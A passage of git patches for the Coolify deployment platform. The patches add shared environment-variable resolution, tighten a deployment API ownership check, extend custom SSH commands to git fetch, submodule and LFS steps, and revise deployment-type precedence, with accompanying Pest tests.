foreach ($sharedEnvsFound as $sharedEnv) { - $type = str($sharedEnv)->trim()->match('/(.*?)\./'); - if (! collect(SHARED_VARIABLE_TYPES)->contains($type)) { - continue; - } - $variable = str($sharedEnv)->trim()->match('/\.(.*)/'); - if ($type->value() === 'environment') { - $id = $resource->environment->id; - } elseif ($type->value() === 'project') { - $id = $resource->environment->project->id; - } elseif ($type->value() === 'team') { - $id = $resource->team()->id; - } - if (is_null($id)) { - continue; - } - $environment_variable_found = SharedEnvironmentVariable::where('type', $type)->where('key', $variable)->where('team_id', $resource->team()->id)->where("{$type}_id", $id)->first(); - if ($environment_variable_found) { - $environment_variable = str($environment_variable)->replace("{{{$sharedEnv}}}", $environment_variable_found->value); - } - } - - return str($environment_variable)->value(); + return resolveSharedEnvironmentVariables($environment_variable, $resource); } private function get_environment_variables(?string $environment_variable = null): ?string diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index cb9811e46..e84df55f9 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -1294,6 +1294,13 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int // Otherwise keep empty string as-is } + // Resolve shared variable patterns like {{environment.VAR}}, {{project.VAR}}, {{team.VAR}} + // Without this, literal {{...}} strings end up in the compose environment: section, + // which takes precedence over the resolved values in the .env file (env_file:) + if (is_string($value) && str_contains($value, '{{')) { + $value = resolveSharedEnvironmentVariables($value, $resource); + } + return $value; }); } @@ -2558,6 +2565,13 @@ function serviceParser(Service $resource): Collection // Otherwise keep empty string as-is } + // Resolve shared variable patterns like {{environment.VAR}}, {{project.VAR}}, {{team.VAR}} + // Without this, literal {{...}} strings end up in the compose environment: section, + // which takes precedence over the resolved values in the .env file (env_file:) + if (is_string($value) && str_contains($value, '{{')) { + $value = resolveSharedEnvironmentVariables($value, $resource); + } + return $value; }); } diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index b58f2ab7f..e81d2a467 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -3972,3 +3972,49 @@ function downsampleLTTB(array $data, int $threshold): array return $sampled; } + +/** + * Resolve shared environment variable patterns like {{environment.VAR}}, {{project.VAR}}, {{team.VAR}}. + * + * This is the canonical implementation used by both EnvironmentVariable::realValue and the compose parsers + * to ensure shared variable references are replaced with their actual values. + */ +function resolveSharedEnvironmentVariables(?string $value, $resource): ?string +{ + if (is_null($value) || $value === '' || is_null($resource)) { + return $value; + } + $value = trim($value); + $sharedEnvsFound = str($value)->matchAll('/{{(.*?)}}/'); + if ($sharedEnvsFound->isEmpty()) { + return $value; + } + foreach ($sharedEnvsFound as $sharedEnv) { + $type = str($sharedEnv)->trim()->match('/(.*?)\./'); + if (! collect(SHARED_VARIABLE_TYPES)->contains($type)) { + continue; + } + $variable = str($sharedEnv)->trim()->match('/\.(.*)/'); + $id = null; + if ($type->value() === 'environment') { + $id = $resource->environment->id; + } elseif ($type->value() === 'project') { + $id = $resource->environment->project->id; + } elseif ($type->value() === 'team') { + $id = $resource->team()->id; + } + if (is_null($id)) { + continue; + } + $found = \App\Models\SharedEnvironmentVariable::where('type', $type) + ->where('key', $variable) + ->where('team_id', $resource->team()->id) + ->where("{$type}_id", $id) + ->first(); + if ($found) { + $value = str($value)->replace("{{{$sharedEnv}}}", $found->value); + } + } + + return str($value)->value(); +} diff --git a/tests/Feature/SharedVariableComposeResolutionTest.php b/tests/Feature/SharedVariableComposeResolutionTest.php new file mode 100644 index 000000000..5ffb027f0 --- /dev/null +++ b/tests/Feature/SharedVariableComposeResolutionTest.php @@ -0,0 +1,128 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team); + + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create([ + 'project_id' => $this->project->id, + ]); + + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + ]); +}); + +test('resolveSharedEnvironmentVariables resolves environment-scoped variable', function () { + SharedEnvironmentVariable::create([ + 'key' => 'DRAGONFLY_URL', + 'value' => 'redis://dragonfly:6379', + 'type' => 'environment', + 'environment_id' => $this->environment->id, + 'team_id' => $this->team->id, + ]); + + $resolved = resolveSharedEnvironmentVariables('{{environment.DRAGONFLY_URL}}', $this->application); + expect($resolved)->toBe('redis://dragonfly:6379'); +}); + +test('resolveSharedEnvironmentVariables resolves project-scoped variable', function () { + SharedEnvironmentVariable::create([ + 'key' => 'DB_HOST', + 'value' => 'postgres.internal', + 'type' => 'project', + 'project_id' => $this->project->id, + 'team_id' => $this->team->id, + ]); + + $resolved = resolveSharedEnvironmentVariables('{{project.DB_HOST}}', $this->application); + expect($resolved)->toBe('postgres.internal'); +}); + +test('resolveSharedEnvironmentVariables resolves team-scoped variable', function () { + SharedEnvironmentVariable::create([ + 'key' => 'GLOBAL_API_KEY', + 'value' => 'sk-123456', + 'type' => 'team', + 'team_id' => $this->team->id, + ]); + + $resolved = resolveSharedEnvironmentVariables('{{team.GLOBAL_API_KEY}}', $this->application); + expect($resolved)->toBe('sk-123456'); +}); + +test('resolveSharedEnvironmentVariables returns original when no match found', function () { + $resolved = resolveSharedEnvironmentVariables('{{environment.NONEXISTENT}}', $this->application); + expect($resolved)->toBe('{{environment.NONEXISTENT}}'); +}); + +test('resolveSharedEnvironmentVariables handles null and empty values', function () { + expect(resolveSharedEnvironmentVariables(null, $this->application))->toBeNull(); + expect(resolveSharedEnvironmentVariables('', $this->application))->toBe(''); + expect(resolveSharedEnvironmentVariables('plain-value', $this->application))->toBe('plain-value'); +}); + +test('resolveSharedEnvironmentVariables resolves multiple variables in one string', function () { + SharedEnvironmentVariable::create([ + 'key' => 'HOST', + 'value' => 'myhost', + 'type' => 'environment', + 'environment_id' => $this->environment->id, + 'team_id' => $this->team->id, + ]); + SharedEnvironmentVariable::create([ + 'key' => 'PORT', + 'value' => '6379', + 'type' => 'environment', + 'environment_id' => $this->environment->id, + 'team_id' => $this->team->id, + ]); + + $resolved = resolveSharedEnvironmentVariables('redis://{{environment.HOST}}:{{environment.PORT}}', $this->application); + expect($resolved)->toBe('redis://myhost:6379'); +}); + +test('resolveSharedEnvironmentVariables handles spaces in pattern', function () { + SharedEnvironmentVariable::create([ + 'key' => 'MY_VAR', + 'value' => 'resolved-value', + 'type' => 'environment', + 'environment_id' => $this->environment->id, + 'team_id' => $this->team->id, + ]); + + $resolved = resolveSharedEnvironmentVariables('{{ environment.MY_VAR }}', $this->application); + expect($resolved)->toBe('resolved-value'); +}); + +test('EnvironmentVariable real_value still resolves shared variables after refactor', function () { + SharedEnvironmentVariable::create([ + 'key' => 'DRAGONFLY_URL', + 'value' => 'redis://dragonfly:6379', + 'type' => 'environment', + 'environment_id' => $this->environment->id, + 'team_id' => $this->team->id, + ]); + + $env = EnvironmentVariable::create([ + 'key' => 'REDIS_URL', + 'value' => '{{environment.DRAGONFLY_URL}}', + 'resourceable_id' => $this->application->id, + 'resourceable_type' => $this->application->getMorphClass(), + ]); + + expect($env->real_value)->toBe('redis://dragonfly:6379'); +}); From 3819676555609cfdd9fe4d82f94c7d00e2cd955b Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 12 Mar 2026 13:25:10 +0100 Subject: [PATCH 189/305] fix(api): cast teamId to int in deployment authorization check Ensure proper type comparison when verifying deployment team ownership. Adds comprehensive feature tests for the GET /api/v1/deployments/{uuid} endpoint. --- app/Http/Controllers/Api/DeployController.php | 2 +- tests/Feature/DeploymentByUuidApiTest.php | 94 +++++++++++++++++++ 2 files changed, 95 insertions(+), 1 deletion(-) create mode 100644 tests/Feature/DeploymentByUuidApiTest.php diff --git a/app/Http/Controllers/Api/DeployController.php b/app/Http/Controllers/Api/DeployController.php index a21940257..85d532f62 100644 --- a/app/Http/Controllers/Api/DeployController.php +++ b/app/Http/Controllers/Api/DeployController.php @@ -128,7 +128,7 @@ public function deployment_by_uuid(Request $request) return response()->json(['message' => 'Deployment not found.'], 404); } $application = $deployment->application; - if (! $application || data_get($application->team(), 'id') !== $teamId) { + if (! $application || data_get($application->team(), 'id') !== (int) $teamId) { return response()->json(['message' => 'Deployment not found.'], 404); } diff --git a/tests/Feature/DeploymentByUuidApiTest.php b/tests/Feature/DeploymentByUuidApiTest.php new file mode 100644 index 000000000..2542f3deb --- /dev/null +++ b/tests/Feature/DeploymentByUuidApiTest.php @@ -0,0 +1,94 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + // Create token manually since User::createToken relies on session('currentTeam') + $plainTextToken = Str::random(40); + $token = $this->user->tokens()->create([ + 'name' => 'test-token', + 'token' => hash('sha256', $plainTextToken), + 'abilities' => ['*'], + 'team_id' => $this->team->id, + ]); + $this->bearerToken = $token->getKey().'|'.$plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + ]); +}); + +describe('GET /api/v1/deployments/{uuid}', function () { + test('returns 401 when not authenticated', function () { + $response = $this->getJson('/api/v1/deployments/fake-uuid'); + + $response->assertUnauthorized(); + }); + + test('returns 404 when deployment not found', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->getJson('/api/v1/deployments/non-existent-uuid'); + + $response->assertNotFound(); + $response->assertJson(['message' => 'Deployment not found.']); + }); + + test('returns deployment when uuid is valid and belongs to team', function () { + $deployment = ApplicationDeploymentQueue::create([ + 'deployment_uuid' => 'test-deploy-uuid', + 'application_id' => $this->application->id, + 'server_id' => $this->server->id, + 'status' => ApplicationDeploymentStatus::IN_PROGRESS->value, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->getJson("/api/v1/deployments/{$deployment->deployment_uuid}"); + + $response->assertSuccessful(); + $response->assertJsonFragment(['deployment_uuid' => 'test-deploy-uuid']); + }); + + test('returns 404 when deployment belongs to another team', function () { + $otherTeam = Team::factory()->create(); + $otherProject = Project::factory()->create(['team_id' => $otherTeam->id]); + $otherEnvironment = Environment::factory()->create(['project_id' => $otherProject->id]); + $otherApplication = Application::factory()->create([ + 'environment_id' => $otherEnvironment->id, + ]); + $otherServer = Server::factory()->create(['team_id' => $otherTeam->id]); + + $deployment = ApplicationDeploymentQueue::create([ + 'deployment_uuid' => 'other-team-deploy-uuid', + 'application_id' => $otherApplication->id, + 'server_id' => $otherServer->id, + 'status' => ApplicationDeploymentStatus::IN_PROGRESS->value, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->getJson("/api/v1/deployments/{$deployment->deployment_uuid}"); + + $response->assertNotFound(); + }); +}); From fd6ac4ef9dce9f01bb4dd6689c99c425c63421f2 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 12 Mar 2026 13:26:59 +0100 Subject: [PATCH 190/305] version++ --- config/constants.php | 2 +- other/nightly/versions.json | 4 ++-- versions.json | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/config/constants.php b/config/constants.php index 0fc20fbc3..5cb924148 100644 --- a/config/constants.php +++ b/config/constants.php @@ -2,7 +2,7 @@ return [ 'coolify' => [ - 'version' => '4.0.0-beta.467', + 'version' => '4.0.0-beta.468', 'helper_version' => '1.0.12', 'realtime_version' => '1.0.11', 'self_hosted' => env('SELF_HOSTED', true), diff --git a/other/nightly/versions.json b/other/nightly/versions.json index 565329c00..7fbe25374 100644 --- a/other/nightly/versions.json +++ b/other/nightly/versions.json @@ -1,10 +1,10 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.467" + "version": "4.0.0-beta.468" }, "nightly": { - "version": "4.0.0-beta.468" + "version": "4.0.0-beta.469" }, "helper": { "version": "1.0.12" diff --git a/versions.json b/versions.json index 565329c00..7fbe25374 100644 --- a/versions.json +++ b/versions.json @@ -1,10 +1,10 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.467" + "version": "4.0.0-beta.468" }, "nightly": { - "version": "4.0.0-beta.468" + "version": "4.0.0-beta.469" }, "helper": { "version": "1.0.12" From 92c8ad449fb07ee4272fa8c3d6600b9e8c044c2d Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 12 Mar 2026 13:32:43 +0100 Subject: [PATCH 191/305] feat(git-import): support custom ssh command for fetch, submodule, and lfs Allow passing a custom GIT_SSH_COMMAND to setGitImportSettings() so that git fetch, submodule update, and lfs pull use the same SSH authentication as the initial clone. This is required for git sources like GitLab that use custom ports and identity files. Also remove unnecessary SSH retry event tracking and add test coverage. --- app/Models/Application.php | 24 ++++++---- app/Traits/ExecuteRemoteCommand.php | 7 --- tests/Feature/ApplicationRollbackTest.php | 58 +++++++++++++++++++++++ 3 files changed, 73 insertions(+), 16 deletions(-) diff --git a/app/Models/Application.php b/app/Models/Application.php index 7b46b6f3d..9f59445d8 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -1087,12 +1087,16 @@ public function dirOnServer() return application_configuration_dir()."/{$this->uuid}"; } - public function setGitImportSettings(string $deployment_uuid, string $git_clone_command, bool $public = false, ?string $commit = null) + public function setGitImportSettings(string $deployment_uuid, string $git_clone_command, bool $public = false, ?string $commit = null, ?string $git_ssh_command = null) { $baseDir = $this->generateBaseDir($deployment_uuid); $escapedBaseDir = escapeshellarg($baseDir); $isShallowCloneEnabled = $this->settings?->is_git_shallow_clone_enabled ?? false; + // Use the full GIT_SSH_COMMAND (including -i for SSH key and port options) when provided, + // so that git fetch, submodule update, and lfs pull can authenticate the same way as git clone. + $sshCommand = $git_ssh_command ?? 'GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"'; + // Use the explicitly passed commit (e.g. from rollback), falling back to the application's git_commit_sha. // Invalid refs will cause the git checkout/fetch command to fail on the remote server. $commitToUse = $commit ?? $this->git_commit_sha; @@ -1102,9 +1106,9 @@ public function setGitImportSettings(string $deployment_uuid, string $git_clone_ // If shallow clone is enabled and we need a specific commit, // we need to fetch that specific commit with depth=1 if ($isShallowCloneEnabled) { - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git fetch --depth=1 origin {$escapedCommit} && git -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && {$sshCommand} git fetch --depth=1 origin {$escapedCommit} && git -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; } else { - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && {$sshCommand} git -c advice.detachedHead=false checkout {$escapedCommit} >/dev/null 2>&1"; } } if ($this->settings->is_git_submodules_enabled) { @@ -1115,10 +1119,10 @@ public function setGitImportSettings(string $deployment_uuid, string $git_clone_ } // Add shallow submodules flag if shallow clone is enabled $submoduleFlags = $isShallowCloneEnabled ? '--depth=1' : ''; - $git_clone_command = "{$git_clone_command} git submodule sync && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git submodule update --init --recursive {$submoduleFlags}; fi"; + $git_clone_command = "{$git_clone_command} git submodule sync && {$sshCommand} git submodule update --init --recursive {$submoduleFlags}; fi"; } if ($this->settings->is_git_lfs_enabled) { - $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && GIT_SSH_COMMAND=\"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git lfs pull"; + $git_clone_command = "{$git_clone_command} && cd {$escapedBaseDir} && {$sshCommand} git lfs pull"; } return $git_clone_command; @@ -1407,11 +1411,12 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req $private_key = base64_encode($private_key); $gitlabPort = $gitlabSource->custom_port ?? 22; $escapedCustomRepository = escapeshellarg($customRepository); - $git_clone_command_base = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$gitlabPort} -o Port={$gitlabPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; + $gitlabSshCommand = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$gitlabPort} -o Port={$gitlabPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\""; + $git_clone_command_base = "{$gitlabSshCommand} {$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; if ($only_checkout) { $git_clone_command = $git_clone_command_base; } else { - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit, git_ssh_command: $gitlabSshCommand); } if ($exec_in_docker) { $commands = collect([ @@ -1477,11 +1482,12 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req } $private_key = base64_encode($private_key); $escapedCustomRepository = escapeshellarg($customRepository); - $git_clone_command_base = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" {$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; + $deployKeySshCommand = "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$customPort} -o Port={$customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\""; + $git_clone_command_base = "{$deployKeySshCommand} {$git_clone_command} {$escapedCustomRepository} {$escapedBaseDir}"; if ($only_checkout) { $git_clone_command = $git_clone_command_base; } else { - $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit); + $git_clone_command = $this->setGitImportSettings($deployment_uuid, $git_clone_command_base, commit: $commit, git_ssh_command: $deployKeySshCommand); } if ($exec_in_docker) { $commands = collect([ diff --git a/app/Traits/ExecuteRemoteCommand.php b/app/Traits/ExecuteRemoteCommand.php index a60a47b93..a4ea6abe5 100644 --- a/app/Traits/ExecuteRemoteCommand.php +++ b/app/Traits/ExecuteRemoteCommand.php @@ -111,13 +111,6 @@ public function execute_remote_command(...$commands) $attempt++; $delay = $this->calculateRetryDelay($attempt - 1); - // Track SSH retry event in Sentry - $this->trackSshRetryEvent($attempt, $maxRetries, $delay, $errorMessage, [ - 'server' => $this->server->name ?? $this->server->ip ?? 'unknown', - 'command' => $this->redact_sensitive_info($command), - 'trait' => 'ExecuteRemoteCommand', - ]); - // Add log entry for the retry if (isset($this->application_deployment_queue)) { $this->addRetryLogEntry($attempt, $maxRetries, $delay, $errorMessage); diff --git a/tests/Feature/ApplicationRollbackTest.php b/tests/Feature/ApplicationRollbackTest.php index f62ad6650..61b3505ae 100644 --- a/tests/Feature/ApplicationRollbackTest.php +++ b/tests/Feature/ApplicationRollbackTest.php @@ -85,4 +85,62 @@ expect($result)->not->toContain('advice.detachedHead=false checkout'); }); + + test('setGitImportSettings uses provided git_ssh_command for fetch', function () { + $this->application->settings->is_git_shallow_clone_enabled = true; + $rollbackCommit = 'abc123def456abc123def456abc123def456abc1'; + $sshCommand = 'GIT_SSH_COMMAND="ssh -o ConnectTimeout=30 -p 22222 -o Port=22222 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa"'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + commit: $rollbackCommit, + git_ssh_command: $sshCommand, + ); + + expect($result) + ->toContain('-i /root/.ssh/id_rsa" git fetch --depth=1 origin') + ->toContain($rollbackCommit); + }); + + test('setGitImportSettings uses provided git_ssh_command for submodule update', function () { + $this->application->settings->is_git_submodules_enabled = true; + $sshCommand = 'GIT_SSH_COMMAND="ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa"'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + git_ssh_command: $sshCommand, + ); + + expect($result) + ->toContain('-i /root/.ssh/id_rsa" git submodule update --init --recursive'); + }); + + test('setGitImportSettings uses provided git_ssh_command for lfs pull', function () { + $this->application->settings->is_git_lfs_enabled = true; + $sshCommand = 'GIT_SSH_COMMAND="ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa"'; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + git_ssh_command: $sshCommand, + ); + + expect($result)->toContain('-i /root/.ssh/id_rsa" git lfs pull'); + }); + + test('setGitImportSettings uses default ssh command when git_ssh_command not provided', function () { + $this->application->settings->is_git_lfs_enabled = true; + + $result = $this->application->setGitImportSettings( + deployment_uuid: 'test-uuid', + git_clone_command: 'git clone', + public: true, + ); + + expect($result) + ->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git lfs pull') + ->not->toContain('-i /root/.ssh/id_rsa'); + }); }); From 0991f8e2ca8a91827547b086f0e2cd7aaee21ad3 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 12 Mar 2026 13:48:30 +0100 Subject: [PATCH 192/305] fix(application): clarify deployment type precedence logic - Prioritize real private keys (id > 0) first - Check source second before falling back to zero key - Remove isDev() check that was restricting zero key behavior in dev - Remove exception throw, use 'other' as safe fallback - Expand test coverage to validate all precedence scenarios --- app/Models/Application.php | 21 ++++++--- tests/Unit/ApplicationDeploymentTypeTest.php | 47 +++++++++++++++++++- 2 files changed, 59 insertions(+), 9 deletions(-) diff --git a/app/Models/Application.php b/app/Models/Application.php index 9f59445d8..82e4d6311 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -989,17 +989,24 @@ public function isPRDeployable(): bool public function deploymentType() { - if (isDev() && data_get($this, 'private_key_id') === 0) { + $privateKeyId = data_get($this, 'private_key_id'); + + // Real private key (id > 0) always takes precedence + if ($privateKeyId !== null && $privateKeyId > 0) { return 'deploy_key'; } - if (! is_null(data_get($this, 'private_key_id'))) { - return 'deploy_key'; - } elseif (data_get($this, 'source')) { + + // GitHub/GitLab App source + if (data_get($this, 'source')) { return 'source'; - } else { - return 'other'; } - throw new \Exception('No deployment type found'); + + // Localhost key (id = 0) when no source is configured + if ($privateKeyId === 0) { + return 'deploy_key'; + } + + return 'other'; } public function could_set_build_commands(): bool diff --git a/tests/Unit/ApplicationDeploymentTypeTest.php b/tests/Unit/ApplicationDeploymentTypeTest.php index d240181f1..be7c7d528 100644 --- a/tests/Unit/ApplicationDeploymentTypeTest.php +++ b/tests/Unit/ApplicationDeploymentTypeTest.php @@ -1,11 +1,54 @@ private_key_id = 5; + + expect($application->deploymentType())->toBe('deploy_key'); +}); + +it('returns deploy_key when private_key_id is a real key even with source', function () { + $application = Mockery::mock(Application::class)->makePartial(); + $application->private_key_id = 5; + $application->shouldReceive('getAttribute')->with('source')->andReturn(new GithubApp); + $application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(5); + + expect($application->deploymentType())->toBe('deploy_key'); +}); + +it('returns source when private_key_id is null and source exists', function () { + $application = Mockery::mock(Application::class)->makePartial(); + $application->private_key_id = null; + $application->shouldReceive('getAttribute')->with('source')->andReturn(new GithubApp); + $application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null); + + expect($application->deploymentType())->toBe('source'); +}); + +it('returns source when private_key_id is zero and source exists', function () { + $application = Mockery::mock(Application::class)->makePartial(); + $application->private_key_id = 0; + $application->shouldReceive('getAttribute')->with('source')->andReturn(new GithubApp); + $application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(0); + + expect($application->deploymentType())->toBe('source'); +}); + +it('returns deploy_key when private_key_id is zero and no source', function () { + $application = new Application; $application->private_key_id = 0; $application->source = null; expect($application->deploymentType())->toBe('deploy_key'); }); + +it('returns other when private_key_id is null and no source', function () { + $application = Mockery::mock(Application::class)->makePartial(); + $application->shouldReceive('getAttribute')->with('source')->andReturn(null); + $application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null); + + expect($application->deploymentType())->toBe('other'); +}); From aac34f1d149bd31e23533d28cc2e5e77c3a2c26e Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 12 Mar 2026 14:19:53 +0100 Subject: [PATCH 193/305] fix(git-import): explicitly specify ssh key and remove duplicate validation rules - Add -i flag to explicitly specify ssh key path in git ls-remote operations - Remove static $rules properties in favor of dynamic rules() method - Fix test syntax error --- app/Jobs/ApplicationDeploymentJob.php | 2 +- .../Project/New/GithubPrivateRepositoryDeployKey.php | 10 ---------- app/Livewire/Project/New/PublicGitRepository.php | 10 ---------- tests/Feature/CommandInjectionSecurityTest.php | 1 - 4 files changed, 1 insertion(+), 22 deletions(-) diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index b51d04fca..fcd619fd4 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -2133,7 +2133,7 @@ private function check_git_if_build_needed() executeInDocker($this->deployment_uuid, 'chmod 600 /root/.ssh/id_rsa'), ], [ - executeInDocker($this->deployment_uuid, "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git ls-remote {$this->fullRepoUrl} {$lsRemoteRef}"), + executeInDocker($this->deployment_uuid, "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git ls-remote {$this->fullRepoUrl} {$lsRemoteRef}"), 'hidden' => true, 'save' => 'git_commit_sha', ] diff --git a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php index b9af20c76..e46ad7d78 100644 --- a/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php +++ b/app/Livewire/Project/New/GithubPrivateRepositoryDeployKey.php @@ -57,16 +57,6 @@ class GithubPrivateRepositoryDeployKey extends Component private ?string $git_repository = null; - protected $rules = [ - 'repository_url' => ['required', 'string'], - 'branch' => ['required', 'string'], - 'port' => 'required|numeric', - 'is_static' => 'required|boolean', - 'publish_directory' => 'nullable|string', - 'build_pack' => 'required|string', - 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), - ]; - protected function rules() { return [ diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index cc2510a66..3df31a6a3 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -63,16 +63,6 @@ class PublicGitRepository extends Component public bool $new_compose_services = false; - protected $rules = [ - 'repository_url' => ['required', 'string'], - 'port' => 'required|numeric', - 'isStatic' => 'required|boolean', - 'publish_directory' => 'nullable|string', - 'build_pack' => 'required|string', - 'base_directory' => 'nullable|string', - 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), - ]; - protected function rules() { return [ diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php index 7047e4bc6..b2df8d1f1 100644 --- a/tests/Feature/CommandInjectionSecurityTest.php +++ b/tests/Feature/CommandInjectionSecurityTest.php @@ -169,7 +169,6 @@ expect($validator->fails())->toBeFalse(); }); -}); test('dockerfile_location validation allows paths with @ for scoped packages', function () { $rules = sharedDataApplications(); From 9724d7391dd947da8542ff5a9b7e8b578af18b81 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 12 Mar 2026 14:23:25 +0100 Subject: [PATCH 194/305] feat(seeders): add GitHub deploy key example application --- database/seeders/ApplicationSeeder.php | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/database/seeders/ApplicationSeeder.php b/database/seeders/ApplicationSeeder.php index 70fb13a0d..2a0273e0f 100644 --- a/database/seeders/ApplicationSeeder.php +++ b/database/seeders/ApplicationSeeder.php @@ -99,6 +99,21 @@ public function run(): void CMD ["sh", "-c", "echo Crashing in 5 seconds... && sleep 5 && exit 1"] ', ]); + Application::create([ + 'uuid' => 'github-deploy-key', + 'name' => 'GitHub Deploy Key Example', + 'fqdn' => 'http://github-deploy-key.127.0.0.1.sslip.io', + 'git_repository' => 'git@github.com:coollabsio/coolify-examples-deploy-key.git', + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '80', + 'environment_id' => 1, + 'destination_id' => 0, 